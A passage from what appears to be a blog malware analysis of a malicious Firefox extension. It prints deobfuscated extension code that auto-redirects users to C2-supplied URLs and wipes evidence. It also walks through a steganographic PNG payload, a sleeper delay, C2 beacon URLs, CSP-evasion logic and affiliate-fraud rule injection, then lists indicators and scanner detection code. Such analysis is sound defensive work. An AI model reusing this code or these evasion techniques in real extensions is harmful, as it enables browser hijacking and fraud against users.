if (documentValues) {
// Double atob decode of two ^ -delimited entries
var dataExt = findDefaultVal(documentValues, "^")[0].reContentAll(1);
var fileTip = findDefaultVal(documentValues, "^")[1].reContentAll(1);
// reContentAll(1) = atob(atob(this)) — double base64 decode
if (event$1.indexOf(getFileSize(dataExt)) > -1) { // URL matches pattern?
var image$1 = pageArr.rdnDataPro("a");
image$1.setAttribute("href", fileTip); // target URL from C2
eventCode.appendChild(image$1);
image$1.click(); // SILENT AUTO-REDIRECT
setSelecteds(lineSize, ""); // destroy evidence
}
}
});
pageArr.signArray.parent.postMessage(pageArr.buffer$1[27], '*'); // "ifr2top"
}
The redirect:
Works in iframes, as well as main frames
The match pattern and target URL are double-base64-encoded in localStorage, hiding them from casual inspection
Evidence is erased immediately after execution ( setSelecteds(lineSize, "") )
Works on any website due to the content script injection
12. Content Security Policy(CSP) Erasure
getContentOn() checks for the presence of a Content Security Policy meta tag before injecting the fake chrome API bridge:
var val = document.querySelector(
pageArr.buffer$1[38]
// 'meta[http-equiv^="Content-Security-Policy"]'
);
if (val) return true; // abort if CSP is present
This check serves two purposes:
Avoid triggering CSP violations that would appear in the browser console and alert a sophisticated user
Target only pages that do not have a CSP (which is the majority of web pages)
Given that the DNR rules are C2-controlled, the attacker could alternatively push a rule that removes or rewrites CSP headers on target pages, selectively enabling the bridge injection on pages that would otherwise block it.
13. Complete Attack Chain visualized with ASCII art
INSTALL
│
├─ First sidebar open (index.js)
│ └─ fetch("icon/logo.png").text()
│ └─ split("ncige") → 1,897-byte stego payload
│ └─ localStorage["ncige"]["7yfuf2"] =
│
├─ Every page load (content.js injected into https://*/* and http://*/*)
│ ├─ Reads localStorage["ncige"]["7yfuf2"]
│ ├─ copyNodeTo() → low-byte decode → 39-entry buffer$1 string table
│ │
│ ├─ HOURS < 72: log "waiting 3 days", return ← SLEEPER
│ │
│ └─ HOURS ≥ 72 AND random(0..200) ≤ 20 (10%)
│ │
│ ├─ genFileArr(true)
│ │ └─ GET https://ipaglov.com/ext/load.php?f=svr.png
│ │ └─ Response: PNG wrapping JSON payload
│ │ ├─ Rules stored in localStorage["jruldyn"] (base64, XOR-encrypted)
│ │ └─ Redirect rules stored in localStorage["extftsams99ba"]
│ │
│ ├─ hasTokenAll("jruldyn")
│ │ └─ atob(localStorage["jruldyn"]).replace(regex, "")
│ │ └─ JSON.parse() → declarativeNetRequest rules array
│ │ └─ chrome.runtime.sendMessage({dataExt: rules, ...})
│ │ └─ bg.js: updateDynamicRules() ← C2 controls all network rules
│ │ └─ Affiliate ID substitution on taobao.com / jd.com
│ │
│ └─ getContentOn()
│ ├─ Check for CSP meta tag; abort if present
│ ├─ lineSize(): install window.message bridge listener
│ └─ setTimeout("!selectedExt(...); " + C2_logCode, 1)
│ └─ Injects window["browserCache"] = fake chrome.* API into page context
│ └─ C2 JavaScript runs with extension-level privileges
│ on every website the victim visits
│
└─ Iframe-level redirect (content.js in all_frames)
└─ localStorage["extftsams99ba"] set? → double-atob decode pattern + URL
└─ Silent auto-click on
└─ Evidence erased from storage
14. Indicators of Compromise
Files
icon/logo.png — 1,902 bytes appended past IEND marker (offset ~5,416), beginning with ASCII ncige
localStorage keys (in extension storage)
Key
Purpose
ncige
Stego payload cache + install timestamp
jruldyn
Base64 + XOR encrypted DNR rules from C2
extftsams99ba
Double-base64 encoded URL redirect rules
7yfuf2
Decoded stego config (buffer$1 array, semicolon-delimited)
3i1rfsciu
Second C2 payload (URL redirect + logCode JS)
window globals set by extension
Global
Value
window.exdipmver
3 (activation sentinel)
window["browserCache"]
Fake privileged chrome.* API object
Network indicators
URL
Purpose
https://ipaglov.com/ext/load.php?f=svr.png
Primary C2 beacon
https://dreamhov.de/ext/load.php?f=svr.png
Backup C2 beacon
Extension metadata
Field
Value
Extension ID
1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4
Version
1.3.4
SHA-256
f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30
15. What browser-xpi-malware-scanner.py Catches and Why
This extension was designed by a skilled author specifically to evade automated review. Here is how each browser-xpi-malware-scanner.py check contributed to the detection:
check_png_appended() → The key finding
The only place the entire payload exists in any detectable form is appended to the PNG. Every other malicious string is either runtime-decoded or stored only in localStorage after execution. Without checking raw bytes past the IEND marker, this extension passes every other static check cleanly.
def check_png_appended(name, data, findings):
idx = data.rfind(b"IEND")
end = idx + 8
trailer = data[end:]
if trailer:
ent = shannon_entropy(trailer)
sev = "CRITICAL" if len(trailer) > 64 else "HIGH"
findings.append(Finding(sev, "PNG_APPENDED", name,
f"{len(trailer)} bytes appended after PNG IEND (entropy={ent:.2f})"))
check_javascript() → atob() detections
The multiple atob() calls in content.js (lines 380, 719, 2364) flagged HIGH. While atob() is used legitimately, its presence in a content script injected into all URLs is suspicious. The double-decode atob(atob(this)) at line 719 is the specific form used for the URL redirect rules decode.
SUSPICIOUS_URL_RE → C2 domain detection
Although the C2 domains ( ipaglov.com , dreamhov.de ) were not found as plaintext in the JS files (they are only in the decoded stego payload), the beacon URL pattern template https://$1/ext/load.php?f=svr.png contains no domain. However, the check did flag the other exfiltration-adjacent domains:
media.savetube.me / media.savetube.vip / cdn305.savetube.su / api.mp3youtube.cc
The .su TLD ( cdn305.savetube.su ) is a particularly high-confidence IoC — .su (Soviet Union, defunct) is disproportionately used by criminal infrastructure.
DANGEROUS_PERMS → permission analysis
as a host permission rather than a regular permission (Manifest V3 split) was still caught:
DANGEROUS_PERMS = {
"": ("HIGH", "Access to ALL website content — can read/exfiltrate any page data"),
"downloads": ("MEDIUM", "Can initiate and read downloads"),
...
}
What browser-xpi-malware-scanner.py could add to catch this class of malware
PNG-as-text fetch detection — flag fetch(…).then(r => r.text()) where the URL resolves to an image resource declared in the extension. Legitimate image fetches use .blob() or .arrayBuffer() , never .text() .
Split-on-arbitrary-string detection — someString.split(nonHttpNonCommonDelimiter) where the delimiter is a short word (in this case "ncige" ) is an unusual pattern worth flagging. Legitimate code splits on "/" , "." , "," , ";" etc.
localStorage.set with class-name keys — if the key being written to storage matches a CSS class name in the extension's HTML, that is highly anomalous.
Despite these gaps, the PNG_APPENDED detection alone is sufficient to designate this extension CRITICAL and warrant deep manual review — which is exactly the intended workflow for browser-xpi-malware-scanner.py.
Need an Android Developer or a full-stack website developer?
I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project.
View My Apps
Hire Me
malware-analysis
browser-malware-analysis
browser-xpi-malware-analysis
firefox
steganography
png-stego
c2-infrastructure
javascript-obfuscation
declarativeNetRequest
affiliate-fraud
privilige-escalation
content-script
webextension
xpi-analyzer
threat-analysis
firefox-malware
Related Articles
LSB Steganography: Hiding Any Data in Images
Summarizes the core concept of LSB steganography, mentions specific technical details (0.4% color change, 777 KB capacity for Full HD images), covers both security applications and malware threats, and highlights detection methods.
Kotlin Flow: Mastering Asynchronous Data Streams - A Comprehensive Guide
Dive deep into Kotlin Flow and master asynchronous data streams. This comprehensive guide covers everything from basics to advanced patterns including cold vs hot flows, operators, StateFlow, SharedFlow, exception handling, and real-world use cases with practical examples.
Building EasyCrypt: A Secure File Encryption Tool with Nautilus and full GUI Integration - Complete Python Tutorial
Learn how to build EasyCrypt, a production-ready file encryption tool using Python, Fernet encryption, password-based key derivation, and GNOME desktop integration. This comprehensive tutorial covers cryptographic foundations, dual CLI/GUI interfaces, secure file deletion, Nautilus extensions, and security best practices with complete source code.